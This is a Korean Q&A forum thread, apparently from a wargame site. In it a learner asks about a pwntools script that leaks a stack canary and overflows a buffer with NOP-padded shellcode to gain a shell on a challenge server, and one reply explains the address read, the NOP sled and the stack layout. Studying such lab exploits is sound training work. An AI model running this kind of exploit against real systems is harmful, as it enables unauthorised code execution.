코드 작성 중 이해가 안되는 부분이 있습니다.
from pwn import *

p = remote('host3.dreamhack.games', 9669)

context.arch = 'amd64'

p.recvuntil('Address of the buf:')
buf = int(p.recv(14),16) // (1)
buf = p64(buf)

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(89,b'\x90') // (2)
p.sendafter('Input: ',payload)

canary = b'\x00'+p.recv(7)

payload = shellcode.ljust(88,b'\x90') // (3)
payload += canary
payload += b'A'*8 // (4)
payload += buf

p.sendline(payload)
p.interactive()

제가 코드를 이해하지 못해서, 다른 블로그에 있는 코드를 참조하였습니다.
(1)의 경우, 왜 14바이트만큼 16진수로 불러오는지 정확히 모르겠습니다.
(2),(3)의 경우, 쉘 코드의 첫바이트가 \x00인 널바이트라고 저는 생각했는데, \x90 을 넣는 이유가 무엇인가요? 그리고 shellcode.ljust의 정확한 용도가 무엇인지 궁금합니다.
(4)의 경우, 더미 부분인 8바이트를 채우기 위해서 A를 8번 집어넣는것인가요?

더 열심히 공부하겠습니다.

#pwnable
작성자 정보
답변 1
avatar
Rasser
워게임: 20

저도 잘은 모르지만 더 고수분들이 답변을 더 잘해주실거라 믿습니다..

(1) 14바이트 만큼 불러오는 이유는 다음과 같습니다. 제가 실행했을때 주소를 받는데, 0x를 포함하여 14바이트를 받습니다.
주소를 받기 위해서 buf = int(p.recv(14),16) // (1)를 사용하는 겁니다.

rasser@ubuntu:~/Desktop$ nc host3.dreamhack.games 20368
Address of the buf: 0x7ffe59909920

(2)(3) \x90은 NOP입니다. NOP은 프로그램 실행에 영향을 주지 않는 코드 입니다. NOP SLED 기법을 찾아보시면 NOP이 하는 역할을 아시게 될겁니다. 그리고 ljust는 파이썬에서 정렬을 위해 사용됩니다. 쉘코드를 왼쪽으로 정렬하기 위해 사용됩니다.
쉘코드를 \xef\xbe\xad\xde\xaa\xbb\xcc\xdd라고 한다면 \xef\xbe\xad\xde\xaa\xbb\xcc\xdd\x90\x90\x90\x90으로 정렬하기 위해 저렇게 ljust를 사용해주는 겁니다.

(4) 8바이트를 채우는 이유는 RBP를 채우기 위함입니다. | data | canary(rbp-8) | RBP | RET | 구조이니까요.

2022.07.08. 00:52
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기